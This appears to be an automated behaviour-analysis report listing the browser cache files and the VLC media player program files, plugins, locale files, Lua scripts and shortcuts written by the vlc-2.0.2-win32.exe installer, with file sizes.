C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\442a5f30204dd385d17de5848683274f[1].png (14528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\css[1].css (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\83a4cee7a59522b93ed0ae1fa73ce8f3[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\3.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\567f43cb72fe3ac6419369953394cadd[1].png (41376 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\home[1].htm (2911 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\lightbox[1].js (5015 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\logo_illust[1].jpg (6 bytes)

The process vlc-2.0.2-win32.exe:3452 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll (13368 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_arrays.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.log (326774 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_02.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\fmc.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\hotkeys.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white.png (70 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_inhibit.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\common.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\view.html (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\speaker-32.png (942 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_pool.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es_out.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\AUTHORS.txt (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\mpora.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_events.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list_player.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\01_googleimage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll (68799 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_fifo.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\play_pause.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\httprequests.luac (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\vlc.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo (28288 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll (24832 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\minus.png (109 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\loop.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_main.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_down.png (108 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_threads.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Back-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll (8184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_services_discovery.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll (49631 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo (461 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_streams.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_10.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.dll.a (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metacafe.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll (22552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\esc.png (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED9.tmp\LangDLL.dll (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_07.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\main (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ku\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll (10136 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_discoverer.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\reset.png (134 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo (14184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED9.tmp\ioSpecial.ini (10389 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_probe.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll (58402 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xml.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\telnet.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker_mute.png (328 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\freebox.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mouse.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_common.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.la (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\play.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_opengl.h (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFED9.tmp\UAC.dll (30 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\functions.js (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\france2.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_browse.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\empty.png (120 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_demux.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_structures.h (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player skinned.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\03_lastfm.luac (1 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery.jstree.js (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\luac.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\VideoLAN Website.url (50 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\axvlc.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo (27504 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.dll.a (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\README.txt (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete.png (124 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\googlevideo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_display.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Folder-48.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc16x16.png (606 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\cue.luac (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\plus.png (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_gcrypt.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo (23424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\joox.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll (42762 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_03.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll (36698 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_04.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input_item.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\create_stream.html (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_01.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll (372030 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Video-48.png (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_osd.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist_small.png (84 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\input (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\batch_window.html (857 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_media_library.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\help.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\vlm.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\error_window.html (482 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png (88 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_08.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\main.css (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Reset VLC media player preferences and cache files.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_version.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_spu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\test.html (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_xml.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc.exe.manifest (825 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_messages.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\ui.js (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo (702 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_subpicture.h (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png (197 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\icecast.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll (330807 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_plugin.h (16 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\style.css (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo (13584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_about.h (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_05.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo (19096 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\esc.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll (41699 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll (36698 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\custom.lua (487 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\libvlc.pc (283 bytes)
%Program Files% (x86)\VideoLAN\VLC\uninstall.exe (2968 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm_export.html (296 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_avcodec.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_library.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fs.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo (16944 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll (1552 bytes)
